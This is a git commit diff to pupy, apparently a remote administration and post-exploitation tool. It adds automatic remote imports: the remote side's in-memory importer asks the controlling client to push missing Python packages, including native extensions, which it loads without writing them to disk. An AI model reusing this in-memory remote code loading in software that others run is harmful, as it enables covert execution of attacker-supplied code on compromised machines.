Add initial support for automatic remote imports

This commit is contained in:
Oleksii Shevchuk 2017-03-03 10:51:35 +02:00 committed by Oleksii Shevchuk
parent a9551dfd13
commit 31f0b1ec18
2 changed files with 99 additions and 39 deletions

View File

@ -18,7 +18,7 @@
# #
import sys, imp, marshal import sys, imp, marshal
__debug = False; __debug = False
def dprint(msg): def dprint(msg):
global __debug global __debug
@ -105,6 +105,7 @@ except ImportError:
builtin_memimporter = _memimporter.ready builtin_memimporter = _memimporter.ready
modules = {} modules = {}
remote_load_package = None
try: try:
import pupy import pupy
@ -133,12 +134,13 @@ def get_module_files(fullname):
return files return files
def pupy_add_package(pkdic, compressed=False): def pupy_add_package(pkdic, compressed=False, name=None):
""" update the modules dictionary to allow remote imports of new packages """ """ update the modules dictionary to allow remote imports of new packages """
import cPickle import cPickle
import zlib import zlib
global modules global modules
global __debug
if compressed: if compressed:
pkdic = zlib.decompress(pkdic) pkdic = zlib.decompress(pkdic)
@ -146,10 +148,16 @@ def pupy_add_package(pkdic, compressed=False):
module = cPickle.loads(pkdic) module = cPickle.loads(pkdic)
if __debug: if __debug:
print 'Adding files: {}'.format([ x for x in module.iterkeys() ]) dprint('Adding files: {}'.format(module.keys()))
modules.update(module) modules.update(module)
if name:
try:
__import__(name)
except:
pass
def has_module(name): def has_module(name):
global module global module
return name in sys.modules return name in sys.modules
@ -185,7 +193,7 @@ class PupyPackageLoader:
if self.extension=="py": if self.extension=="py":
mod = imp.new_module(fullname) mod = imp.new_module(fullname)
mod.__name__ = fullname mod.__name__ = fullname
mod.__file__ = '<memimport>/{}'.format(self.path) mod.__file__ = 'pupy://{}'.format(self.path)
mod.__loader__ = self mod.__loader__ = self
if self.is_pkg: if self.is_pkg:
mod.__path__ = [mod.__file__.rsplit('/',1)[0]] mod.__path__ = [mod.__file__.rsplit('/',1)[0]]
@ -198,7 +206,7 @@ class PupyPackageLoader:
elif self.extension in ["pyc","pyo"]: elif self.extension in ["pyc","pyo"]:
mod = imp.new_module(fullname) mod = imp.new_module(fullname)
mod.__name__ = fullname mod.__name__ = fullname
mod.__file__ = '<memimport>/{}'.format(self.path) mod.__file__ = 'pupy://{}'.format(self.path)
mod.__loader__ = self mod.__loader__ = self
if self.is_pkg: if self.is_pkg:
mod.__path__ = [mod.__file__.rsplit('/',1)[0]] mod.__path__ = [mod.__file__.rsplit('/',1)[0]]
@ -216,7 +224,7 @@ class PupyPackageLoader:
mod = _memimporter.import_module(self.contents, initname, fullname, path) mod = _memimporter.import_module(self.contents, initname, fullname, path)
if mod: if mod:
mod.__name__=fullname mod.__name__=fullname
mod.__file__ = '<memimport>/{}'.format(self.path) mod.__file__ = 'pupy://{}'.format(self.path)
mod.__loader__ = self mod.__loader__ = self
mod.__package__ = fullname.rsplit('.',1)[0] mod.__package__ = fullname.rsplit('.',1)[0]
sys.modules[fullname]=mod sys.modules[fullname]=mod
@ -238,11 +246,16 @@ class PupyPackageLoader:
return sys.modules[fullname] return sys.modules[fullname]
class PupyPackageFinder: class PupyPackageFinderImportError(ImportError):
def __init__(self, modules): pass
self.modules = modules
def find_module(self, fullname, path=None): class PupyPackageFinder:
def __init__(self, path=None):
if path and not path.startswith('pupy://'):
raise PupyPackageFinderImportError()
def find_module(self, fullname, path=None, second_pass=False):
global modules
imp.acquire_lock() imp.acquire_lock()
try: try:
files=[] files=[]
@ -259,7 +272,23 @@ class PupyPackageFinder:
] ]
if not files: if not files:
dprint('{} not found in {} - no files'.format(fullname,path)) dprint('{} not found in {}: not in {} files'.format(
fullname, files, len(files)))
if remote_load_package and not second_pass and not fullname.startswith('exposed_'):
parts = fullname.split('.')[:-1]
for i in xrange(len(parts)):
part = '.'.join(parts[:i+1])
if part in modules or part in sys.modules:
return None
try:
if remote_load_package(fullname):
return self.find_module(fullname, second_pass=True)
except Exception as e:
dprint('Exception: {}'.format(e))
return None return None
criterias = [ criterias = [
@ -288,17 +317,15 @@ class PupyPackageFinder:
break break
if not selected: if not selected:
dprint('{} not found in {}: not in {} files'.format(
fullname, selected, len(files)))
return None return None
dprint('{} found in {}'.format(fullname, selected)) dprint('{} found in {}'.format(fullname, selected))
content = self.modules[selected] content = modules[selected]
# Don't delete network.conf module # Don't delete network.conf module
if not selected.startswith('network/'): if not selected.startswith('network/'):
dprint('{} remove {} from bundle'.format(fullname, selected)) dprint('{} remove {} from bundle'.format(fullname, selected))
del self.modules[selected] del modules[selected]
extension = selected.rsplit(".",1)[1].strip().lower() extension = selected.rsplit(".",1)[1].strip().lower()
is_pkg = any([ is_pkg = any([
@ -317,15 +344,27 @@ class PupyPackageFinder:
finally: finally:
imp.release_lock() imp.release_lock()
def register_package_request_hook(hook):
global remote_load_package
remote_load_package = hook
def unregister_package_request_hook():
global remote_load_package
remote_load_package = None
def install(debug=False): def install(debug=False):
global __debug global __debug
__debug = debug __debug = debug
if allow_system_packages: if allow_system_packages:
sys.meta_path.append(PupyPackageFinder(modules)) sys.path_hooks.append(PupyPackageFinder)
sys.path.append('pupy://')
else: else:
sys.meta_path = [ PupyPackageFinder(modules) ] sys.meta_path = []
sys.path = [] sys.path = []
sys.path_hooks = []
sys.path_hooks = [PupyPackageFinder]
sys.path.append('pupy://')
sys.path_importer_cache.clear() sys.path_importer_cache.clear()
if 'win' in sys.platform: if 'win' in sys.platform:

View File

@ -179,6 +179,10 @@ class PupyClient(object):
""")) """))
self.conn.namespace["pupyimporter_preimporter"](pupyimporter_code) self.conn.namespace["pupyimporter_preimporter"](pupyimporter_code)
pupyimporter = self.conn.modules.pupyimporter
pupyimporter.register_package_request_hook(self.remote_load_package)
self.conn._conn.root.register_cleanup(pupyimporter.unregister_package_request_hook)
def load_dll(self, path): def load_dll(self, path):
""" """
load some dll from memory like sqlite3.dll needed for some .pyd to work load some dll from memory like sqlite3.dll needed for some .pyd to work
@ -234,6 +238,9 @@ class PupyClient(object):
raise PupyModuleError("Unknown package loading method %s"%t) raise PupyModuleError("Unknown package loading method %s"%t)
return self._load_package(module_name, force) return self._load_package(module_name, force)
def remote_load_package(self, module_name):
return self._load_package(module_name, force=False, remote=True)
def _get_module_dic(self, search_path, start_path, pure_python_only=False): def _get_module_dic(self, search_path, start_path, pure_python_only=False):
modules_dic = {} modules_dic = {}
found_files = set() found_files = set()
@ -319,7 +326,7 @@ class PupyClient(object):
return modules_dic return modules_dic
def _load_package(self, module_name, force=False): def _load_package(self, module_name, force=False, remote=False):
""" """
load a python module into memory depending on what OS the client is. load a python module into memory depending on what OS the client is.
This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions
@ -328,15 +335,16 @@ class PupyClient(object):
# start path should only use "/" as separator # start path should only use "/" as separator
update = False update = False
pupyimporter = self.conn.modules.pupyimporter pupyimporter = self.conn.modules.pupyimporter
inital_module_name = module_name
if pupyimporter.has_module(module_name): if not remote:
if not force: if pupyimporter.has_module(module_name):
return if not force:
else: return
update = True else:
pupyimporter.invalidate_module(module_name) update = True
pupyimporter.invalidate_module(module_name)
start_path=module_name.replace(".", "/") start_path=module_name.replace(".", "/")
package_found=False package_found=False
@ -348,7 +356,12 @@ class PupyClient(object):
package_path=search_path package_path=search_path
break break
except Exception as e: except Exception as e:
raise PupyModuleError("Error while loading package %s : %s"%(module_name, traceback.format_exc())) if remote:
return
else:
raise PupyModuleError(
"Error while loading package {}: {}".format(
module_name, traceback.format_exc()))
if not modules_dic and self.arch: if not modules_dic and self.arch:
arch_bundle = os.path.join( arch_bundle = os.path.join(
@ -428,12 +441,16 @@ class PupyClient(object):
modules_dic[module_name] = bundle.read(info.filename) modules_dic[module_name] = bundle.read(info.filename)
if not modules_dic: # in last resort, attempt to load the package from the server's sys.path if it exists # in last resort, attempt to load the package from the server's sys.path if it exists
if not modules_dic and not remote:
for search_path in sys.path: for search_path in sys.path:
try: try:
modules_dic=self._get_module_dic(search_path, start_path, pure_python_only=True) modules_dic = self._get_module_dic(
search_path, start_path, pure_python_only=True
)
if modules_dic: if modules_dic:
logging.info("package %s not found in packages/, but found in local sys.path, attempting to push it remotely..."%module_name) logging.info("package %s not found in packages/, but found in local sys.path, attempting to push it remotely..." % module_name)
package_path=search_path package_path=search_path
break break
@ -441,27 +458,31 @@ class PupyClient(object):
logging.warning(e) logging.warning(e)
except Exception as e: except Exception as e:
raise PupyModuleError("Error while loading package from sys.path %s : %s"%(module_name, traceback.format_exc())) if remote:
return
else:
raise PupyModuleError(
"Error while loading package from sys.path {}: {}".format(
module_name, traceback.format_exc()))
if not modules_dic: if not modules_dic:
if self.desc['native']: if remote:
raise PupyModuleError("Couldn't find package {} in \(path={}) and sys.path / native".format( return
module_name, repr(self.get_packages_path())))
else: else:
try: raise PupyModuleError("Couldn't find package: {}".format(module_name))
pupyimporter.native_import(module_name)
except Exception as e:
raise PupyModuleError("Couldn't find package {} in \(path={}) and sys.path / python = {}".format(
module_name, repr(self.get_packages_path()), e))
# we have to pickle the dic for two reasons : because the remote side is # we have to pickle the dic for two reasons : because the remote side is
# not aut0horized to iterate/access to the dictionary declared on this # not aut0horized to iterate/access to the dictionary declared on this
# side and because it is more efficient # side and because it is more efficient
pupyimporter.pupy_add_package( pupyimporter.pupy_add_package(
zlib.compress(cPickle.dumps(modules_dic), 9), zlib.compress(cPickle.dumps(modules_dic), 9),
compressed=True compressed=True,
# Use None to prevent import-then-clean-then-search behavior
name=(None if remote else inital_module_name)
) )
logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path)) logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path))
if update: if update:
self.conn.modules.__invalidate__(module_name) self.conn.modules.__invalidate__(module_name)